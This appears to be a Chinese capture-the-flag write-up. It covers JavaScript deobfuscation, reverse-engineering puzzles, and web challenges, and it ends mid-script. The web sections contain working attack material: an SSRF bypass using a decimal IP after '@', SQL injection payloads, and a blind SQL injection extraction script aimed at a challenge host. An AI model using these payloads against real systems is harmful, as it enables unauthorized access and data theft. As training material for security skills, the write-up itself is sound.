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"

import base64
import zlib
from io import BytesIO

# 原始数据
# data = '''eNqFnEmPK9uVnf/KxQWBKgP36THvzeZmGQWYfd8zk82EYBNskmQEyWBfMOCaCIW...'''  # 省略中间内容,请粘贴完整字符串

# Base64 解码
decoded_data = base64.b64decode(code)

# Gzip 解压缩
result = zlib.decompress(decoded_data).decode('utf-8')

print(result)

解密后得到完整的格式化代码,(由于篇幅限制,此处不粘贴代码,有兴趣的师傅可以自己用脚本解压缩格式化查看),

部分分析不难看出原本的function是一个字典替代原本的混淆代码,用于对照混淆代码中的执行函数,

其中在J74中发现其值为一串可疑数字,可能为flag的某种编码

全局搜索J74的引用

发现如下处理

if (G < yw4) {
      alert(O[s74](J74));
    } else {
      alert($vfeRha_calc(S74 + G / Rw4, Y74, $v5sNVR(vS4)));
    }

其中yw4的值为

结合题目描述内容以及alert函数,不难看出此处逻辑即判断拼图时长是否小于2s,而J74作为字符串传递到函数s74中进行处理,那么显然J74就是flag,继续跟进s74函数:

[s74]: function (...V) {
        var X = false;
        if (X) {
          var y = $vspnXY(function (...N) {
            N.length = 3;
            N.muORf4 = 95;
            N.JQFn6dh = {};
            N.muORf4 = -15;
            N.XwDm6K = -9;
            if (N[2].length !== N[N.XwDm6K + 9].length + N[1].length) {
              return false;
            }
            if (N.muORf4 > N.XwDm6K + 40) {
              return N[126];
            } else {
              return G(N[0], N[1], N[N.muORf4 + 17], Us4, Us4, Us4, N.JQFn6dh);
            }
          }, 3);
          var G = $vspnXY(function (...N) {
            +(N.length = 7, N[15] = 44, N.ggvxfd = false);
            if (N[N["15"] - (N["15"] - 5)] >= N[2].length) {
              return true;
            }
            if (N[6]["" + N[3] + N[4] + N[5]] !== undefined) {
              return N[6][$vfeRha_calc("" + N[N["15"] - 41] + N[N["15"] - 40], N[5], $v5sNVR(vS4))];
            }
            if (N[2][N[5]] === N[0][N[3]] && N[2][N[N["15"] - 39]] === N[1][N[4]]) {
              N.ggvxfd = G(N[0], N[1], N[2], $vfeRha_calc(N[3], _o4, $v5sNVR(vS4)), N[4], $vfeRha_calc(N[5], _o4, $vyny2l = vS4), N[6]) || G(N[0], N[N["15"] - 43], N[2], N[3], $vfeRha_calc(N[4], _o4, $v5sNVR(vS4)), $vfeRha_calc(N[5], _o4, $vyny2l = vS4), N[6]);
            } else if (N[2][N[N["15"] - 39]] === N[0][N[3]]) {
              N.ggvxfd = G(N[0], N[1], N[2], $vfeRha_calc(N[N["15"] - (N["15"] - 3)], _o4, $v5sNVR(vS4)), N[4], $vfeRha_calc(N[5], _o4, $vyny2l = vS4), N[6]);
            } else if (N[N["15"] - 42][N[5]] === N[1][N[4]]) {
              N.ggvxfd = G(N[0], N[1], N[N["15"] - 42], N[3], $vfeRha_calc(N[4], _o4, $vyny2l = vS4), $vfeRha_calc(N[N["15"] - 39], _o4, $v5sNVR(vS4)), N[N["15"] - 38]);
            }
            if (N[15] > 166) {
              return N[-197];
            } else {
              N[6][$vfeRha_calc("" + N[3] + N[N["15"] - 40], N[5], $v5sNVR(vS4))] = N.ggvxfd;
              return N.ggvxfd;
            }
          }, 7);
          console.log(y);
        }
        return infernity(...V);
      }

其中if函数可以直接跳过不看,因为X值为false且if函数中未对传入的数据进行处理,反而是返回时的infernity函数又传递了传入变量,那么继续跟进infernity函数

var infernity = $vCXVye(function (...O) {
    var h = {
      get [m74]() {
        return ogde564hc3f4;
      }
    };
    return x3KH_(O, h);
  }

还是在返回值处涉及到传入变量,那么继续跟进x3KH_

function x3KH_([input], V) {
    if (V[m74] && $vQZ5Qr.jdth5fw > -Lx4) {
      let G = input[b74]("")[M74]()[$74]("");
      let h = "";
      for (let O = Us4; O < G[Ht4]; O += xo4) {
        h += String[R74](parseInt(G[L74](O, xo4), Xw4));
      }
      return h;
    }
  }

此处终于对输入数据进行处理,审计发现实际上是把字符串按字符拆分,反转后再拼接回字符串,每 xo4 个字符切片,按 16 进制转为整数,再转为对应字符,也就是每两位反转并最后reverse即可,使用cyberchef直接秒:

Fate

源码如下:

#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    
    return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')
    
    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    print('11111' + target_url)
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            """

            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
    app.run(debug=True)

审计发现是ssrf绕过滤,通过/proxy路由访问/1337路由绕过对本地ip的校验

禁止使用字母和.,在本地测试的时候因为与远程不通,死活都绕不过去,浪费了一整天时间,下午无意中尝试发现远程可以打通,无语了。

过滤了.可以使用十进制的ip绕过,2130706433十进制代表127.0.0.1,因为前面拼接了一个网页链接,而request库使用的parse_url来自urllib3,这里在处理具体ip时会判断是否存在@,如果存在@则将@后地址作为目标地址,

具体处理如下:

因此可以使用@2130706433绕过对本地的校验,后续传参为0的字母可以用url二次编码绕过,注意这里传1的参数时使用的&也要进行url编码防止被认为是前面的传参。

后续就是绕输入长度限制和sql注入了。这里原本想着绕长度限制发现str无法做到把LAMENTXU传入,所以考虑使用别的方式,因为直接传str无法绕过长度限制,因此要用别的trick。

使用list和dict传递字符串时len返回的时内部元素的数量,但无关具体值的长度,借此绕过对长度限制,后续因为存在格式化字符串,因此整个list和dict都会被传入从而会出现脏字符{[,而且waf中对)的过滤对dict并不会起效,因为只有在存在单独键名为)时才会进入if,因此可以绕过。

后面需要用sql注入进行绕过,简单的sql万能密码limit即可,值得注意的是测试的时候发现waf过滤了list,因此只能用dict。同时注意传参是二进制形式,写一个简单的string_to_binary即可。

import json

def string_to_binary(input_string):
    return ''.join(format(ord(c), '08b') for c in input_string)

exp='{"name":{\"))))))) or 1=1 limit 1 offset 9--+\" : \"aaa\"}}'

print(string_to_binary(exp))
# print(json.loads('{"name":"\"\""}'))
res = json.loads(exp)
print(len(res["name"]))
print(res["name"])
if ')' in res["name"]:
    print('NO )')

ezsql(手动滑稽)

sql注入绕过滤,比较简单就不细说了,

username=admin'%09OR%091=1%23&password=1

万能密码绕一下过滤就可以直接进入后台,但还需要一个密钥,

直接盲注即可

import requests

url = "http://eci-2zej6zc2vcwnmdx2ggdk.cloudeci1.ichunqiu.com"
length = 30
res = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for pos in range(1, length):
    for char in chars:
        # sql = f"username=admin'%09OR%09substring(database()%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
        # sql = f"username=admin'%09OR%09substring((select%09table_name%09FROM%09information_schema.tables%09where%09table_schema='testdb'%09limit%091%09offset%092)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
        # sql = f"username=admin'%09OR%09substring((select%09column_name%09FROM%09information_schema.columns%09where%09table_name='user'%09limit%091%09offset%090)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
        sql = f"username=admin'%09OR%09substring((select%09secret%09FROM%09double_check%09limit%091%09offset%090)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
        # sql = f"username=admin'%09OR%09mid((select%09secret%09FROM%09double_check%09limit%091),{pos},1)='{char}'%23&password=1"
        # print(sql)
        response = requests.post(url,data=sql,headers={'Content-Type': 'application/x-www-form-urlencoded'})
        # print(response.text)
        if '系统恶意登录' in response.text:
            res += char
            print(res)
            break
    else:
        print('final ' + res)
        print('finish')
        exit()

得到管理员密钥:

进去后是个无回显的任意代码执行

fuzz一下是不给用空格和一些其他的命令,echo啥的,但cat可以用,可以把命令执行的结果写入文件然后访问就好

RE

WARMUP

VBS 脚本,改 execute 为 wscript.echo 即可打印后面混淆的代码

标准的 RC4 加密,CyberChef 解一下即可(竟然不能复制,还要 ocr,可恶

做一下 md5,用 XYCTF{} 包裹提交即可

Moon

  pyd 逆向,help 查看 moon 的信息,可以看到 xor_crypt 函数,参数是 seed_value 和 data_bytes,同时 DATA 部分给出了 SEED 和 TARGET_HEX,应该就是满足 hex(xor_crypt(SEED, flag))=TARGET_HEX

做个黑盒测试,很容易发现这个加密是逐字节的

enc1 = moon.xor_crypt(moon.SEED,'flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'.encode())
print(enc1.hex())
# 426b87abd0cdbe29666e4aaf3f7f313cd2f9037a85b3994bec972b13b751a46c28adebe8d20e

爆破即可

import moon

target_hex = moon.TARGET_HEX
target_bytes = bytes.fromhex(target_hex)
seed = moon.SEED
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}!@#$%^&*()-=+[]:;.,<>?/\\|~'

prefix = ""
max_total_len = 38
max_inner_len = max_total_len - len("flag{}")

while True:
    found = False
    for c in charset:
        candidate = prefix + c
        encrypted = moon.xor_crypt(seed, candidate.encode())
        if target_bytes.startswith(encrypted):
            print(f"命中字符:{c} → {candidate}")
            prefix = candidate
            found = True
            break
    if prefix.endswith("}") or len(prefix) == max_total_len:
        print("爆破完成:", prefix)
        break
# flag{but_y0u_l00k3d_up_@t_th3_mOOn}

Lake

关键函数在 start() -> sub_10000DC90() -> sub_1000023A0() -> a2()

具体没细看,可能是 TLS 回调,动调知道这里调用的 a2() 函数就是 sub_100001B70() 函数

这个函数前半部分是打印控制台会出现的四句话,以及处理用户的输入,然后是一个 vm

vm 就是 [opcode, operand1, operand2] 的形式,opcode 涉及加减乘除取余异或等八种运算

注意 vm 后面还有一个 sub_1000019B0() 加密,一开始漏了,一直写不出来,可恶

对四个字节进行操作,分别取不同字节的高3位和低5位重新拼接得到最终的密文

最终密文数组

先重新拼接一下得到 vm 的密文

correct_enc = [0x4A,0xAB,0x9B,0x1B,0x61,0xB1,0xF3,0x32,0xD1,0x8B,0x73,0xEB,0xE9,0x73,0x6B,0x22,0x81,0x83,0x23,0x31,0xCB,0x1B,0x22,0xFB,0x25,0xC2,0x81,0x81,0x73,0x22,0xFA,0x3,0x9C,0x4B,0x5B,0x49,0x97,0x87,0xDB,0x51]
enc = [0]*40
for i in range(0,len(correct_enc)//4):
    enc[4*i]  = (correct_enc[4*i+2]<<5|correct_enc[4*i+3]>>3)%256
    enc[4*i+1] = (correct_enc[4*i]>>3|correct_enc[4*i+3]<<5)%256
    enc[4*i+2] = (correct_enc[4*i]<<5|correct_enc[4*i+1]>>3)%256
    enc[4*i+3] = (correct_enc[4*i+1]<<5|correct_enc[4*i+2]>>3)%256
print(enc)
# [99, 105, 85, 115, 102, 76, 54, 62, 125, 122, 49, 110, 100, 93, 46, 109, 102, 48, 48, 100, 95, 121, 99, 100, 48, 36, 184, 80, 64, 110, 100, 95, 105, 51, 137, 107, 106, 50, 240, 251]

vm 部分单字节加密,爆破即可

flag = [0]*len(enc)

for t in range(len(enc)):
    for i in range(256):
        input_char = [i] * len(enc)  
        tmp = input_char[t]
        cnt = 0  
        while cnt < len(table):
            word_100020060 = table[cnt]         
            word_100020070 = table[cnt + 1]     
            word_100020080 = table[cnt + 2]     

            if word_100020060 == 1:  
                input_char[word_100020070] = (input_char[word_100020070] + word_100020080) % 256
            elif word_100020060 == 2:  
                input_char[word_100020070] = (input_char[word_100020070] - word_100020080) % 256
            elif word_100020060 == 3:  
                input_char[word_100020070] = (input_char[word_100020070] * word_100020080) % 256
            elif word_100020060 == 4:  
                input_char[word_100020070] = (input_char[word_100020070] // word_100020080) % 256
            elif word_100020060 == 5:  
                input_char[word_100020070] = input_char[word_100020070] % word_100020080
            elif word_100020060 == 6:  
                input_char[word_100020070] = (input_char[word_100020070] & word_100020080) % 256
            elif word_100020060 == 7:  
                input_char[word_100020070] = (input_char[word_100020070] | word_100020080) % 256
            elif word_100020060 == 8:  
                input_char[word_100020070] = (input_char[word_100020070] ^ word_100020080) % 256

            cnt += 3
        
        if input_char[t] == enc[t]:
